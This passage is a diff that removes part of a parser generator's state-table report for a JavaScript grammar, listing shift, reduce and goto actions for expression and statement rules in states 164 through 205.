-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 278
-
-state 164
-
- 155) EqualityExprNoBF : EqualityExprNoBF EQEQ _ RelationalExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 279
-
-state 165
-
- 156) EqualityExprNoBF : EqualityExprNoBF NE _ RelationalExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 280
-
-state 166
-
- 157) EqualityExprNoBF : EqualityExprNoBF STREQ _ RelationalExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 281
-
-state 167
-
- 158) EqualityExprNoBF : EqualityExprNoBF STRNEQ _ RelationalExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 282
-
-state 168
-
- 164) BitwiseANDExprNoBF : BitwiseANDExprNoBF "&" _ EqualityExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 283
-
-state 169
-
- 170) BitwiseXORExprNoBF : BitwiseXORExprNoBF "^" _ BitwiseANDExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 284
-
-state 170
-
- 176) BitwiseORExprNoBF : BitwiseORExprNoBF "|" _ BitwiseXORExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 285
-
-state 171
-
- 182) LogicalANDExprNoBF : LogicalANDExprNoBF AND _ BitwiseORExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 286
-
-state 172
-
- 188) LogicalORExprNoBF : LogicalORExprNoBF OR _ LogicalANDExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 287
-
-state 173
-
- 194) ConditionalExprNoBF : LogicalORExprNoBF "?" _ AssignmentExpr ":" AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  AssignmentExpr  go to state 288
-  ConditionalExpr  go to state 109
-
-state 174
-
- 218) ExprNoBF : ExprNoBF "," _ AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 289
-
-state 175
-
- 239) ExprStatement : ExprNoBF ";" _
-
-  $default      reduce using rule 239 (ExprStatement)
-
-
-state 176
-
- 240) ExprStatement : ExprNoBF error _
-
-  $default      reduce using rule 240 (ExprStatement)
-
-
-state 177
-
- 219) Block : "{" SourceElements _ "}"
-
-  "}"           shift, and go to state 290
-
-
-state 178
-
- 220) VariableStatement : VAR VariableDeclarationList _ ";"
- 221) VariableStatement : VAR VariableDeclarationList _ error
- 223) VariableDeclarationList : VariableDeclarationList _ "," VariableDeclaration
-
-  error         shift, and go to state 292
-  ","           shift, and go to state 293
-  ";"           shift, and go to state 291
-
-
-state 179
-
- 222) VariableDeclarationList : VariableDeclaration _
-
-  $default      reduce using rule 222 (VariableDeclarationList)
-
-
-state 180
-
- 226) VariableDeclaration : IDENT _
- 227) VariableDeclaration : IDENT _ Initializer
-
-  "="           shift, and go to state 295
-  $default      reduce using rule 226 (VariableDeclaration)
-
-  Initializer   go to state 294
-
-state 181
-
- 230) ConstStatement : CONST ConstDeclarationList _ ";"
- 231) ConstStatement : CONST ConstDeclarationList _ error
- 233) ConstDeclarationList : ConstDeclarationList _ "," ConstDeclaration
-
-  error         shift, and go to state 297
-  ","           shift, and go to state 298
-  ";"           shift, and go to state 296
-
-
-state 182
-
- 232) ConstDeclarationList : ConstDeclaration _
-
-  $default      reduce using rule 232 (ConstDeclarationList)
-
-
-state 183
-
- 234) ConstDeclaration : IDENT _
- 235) ConstDeclaration : IDENT _ Initializer
-
-  "="           shift, and go to state 295
-  $default      reduce using rule 234 (ConstDeclaration)
-
-  Initializer   go to state 299
-
-state 184
-
- 241) IfStatement : IF "(" _ Expr ")" Statement
- 242) IfStatement : IF "(" _ Expr ")" Statement ELSE Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 300
-
-state 185
-
- 243) IterationStatement : DO Statement _ WHILE "(" Expr ")" ";"
- 244) IterationStatement : DO Statement _ WHILE "(" Expr ")" error
-
-  WHILE         shift, and go to state 301
-
-
-state 186
-
- 245) IterationStatement : WHILE "(" _ Expr ")" Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 302
-
-state 187
-
- 246) IterationStatement : FOR "(" _ ExprNoInOpt ";" ExprOpt ";" ExprOpt ")" Statement
- 247) IterationStatement : FOR "(" _ VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" Statement
- 248) IterationStatement : FOR "(" _ LeftHandSideExpr IN Expr ")" Statement
- 249) IterationStatement : FOR "(" _ VAR IDENT IN Expr ")" Statement
- 250) IterationStatement : FOR "(" _ VAR IDENT InitializerNoIn IN Expr ")" Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 316
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  $default      reduce using rule 253 (ExprNoInOpt)
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 303
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 305
-  EqualityExprNoIn  go to state 306
-  BitwiseANDExprNoIn  go to state 307
-  BitwiseXORExprNoIn  go to state 308
-  BitwiseORExprNoIn  go to state 309
-  LogicalANDExprNoIn  go to state 310
-  LogicalORExprNoIn  go to state 311
-  ConditionalExprNoIn  go to state 312
-  AssignmentExprNoIn  go to state 313
-  ExprNoIn      go to state 314
-  ExprNoInOpt   go to state 315
-
-state 188
-
- 255) ContinueStatement : CONTINUE ";" _
-
-  $default      reduce using rule 255 (ContinueStatement)
-
-
-state 189
-
- 256) ContinueStatement : CONTINUE error _
-
-  $default      reduce using rule 256 (ContinueStatement)
-
-
-state 190
-
- 257) ContinueStatement : CONTINUE IDENT _ ";"
- 258) ContinueStatement : CONTINUE IDENT _ error
-
-  error         shift, and go to state 318
-  ";"           shift, and go to state 317
-
-
-state 191
-
- 259) BreakStatement : BREAK ";" _
-
-  $default      reduce using rule 259 (BreakStatement)
-
-
-state 192
-
- 260) BreakStatement : BREAK error _
-
-  $default      reduce using rule 260 (BreakStatement)
-
-
-state 193
-
- 261) BreakStatement : BREAK IDENT _ ";"
- 262) BreakStatement : BREAK IDENT _ error
-
-  error         shift, and go to state 320
-  ";"           shift, and go to state 319
-
-
-state 194
-
- 214) Expr : Expr _ "," AssignmentExpr
- 265) ReturnStatement : RETURN Expr _ ";"
- 266) ReturnStatement : RETURN Expr _ error
-
-  error         shift, and go to state 322
-  ","           shift, and go to state 213
-  ";"           shift, and go to state 321
-
-
-state 195
-
- 263) ReturnStatement : RETURN ";" _
-
-  $default      reduce using rule 263 (ReturnStatement)
-
-
-state 196
-
- 264) ReturnStatement : RETURN error _
-
-  $default      reduce using rule 264 (ReturnStatement)
-
-
-state 197
-
- 267) WithStatement : WITH "(" _ Expr ")" Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 323
-
-state 198
-
- 268) SwitchStatement : SWITCH "(" _ Expr ")" CaseBlock
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 324
-
-state 199
-
- 214) Expr : Expr _ "," AssignmentExpr
- 278) ThrowStatement : THROW Expr _ ";"
- 279) ThrowStatement : THROW Expr _ error
-
-  error         shift, and go to state 326
-  ","           shift, and go to state 213
-  ";"           shift, and go to state 325
-
-
-state 200
-
- 280) TryStatement : TRY Block _ FINALLY Block
- 281) TryStatement : TRY Block _ CATCH "(" IDENT ")" Block
- 282) TryStatement : TRY Block _ CATCH "(" IDENT ")" Block FINALLY Block
-
-  CATCH         shift, and go to state 328
-  FINALLY       shift, and go to state 327
-
-
-state 201
-
- 283) DebuggerStatement : DEBUGGER ";" _
-
-  $default      reduce using rule 283 (DebuggerStatement)
-
-
-state 202
-
- 284) DebuggerStatement : DEBUGGER error _
-
-  $default      reduce using rule 284 (DebuggerStatement)
-
-
-state 203
-
- 285) FunctionDeclaration : FUNCTION IDENT _ "(" ")" "{" FunctionBody "}"
- 286) FunctionDeclaration : FUNCTION IDENT _ "(" FormalParameterList ")" "{" FunctionBody "}"
-
-  "("           shift, and go to state 329
-
-
-state 204
-
-
-  $default      accept
-
-
-state 205
-
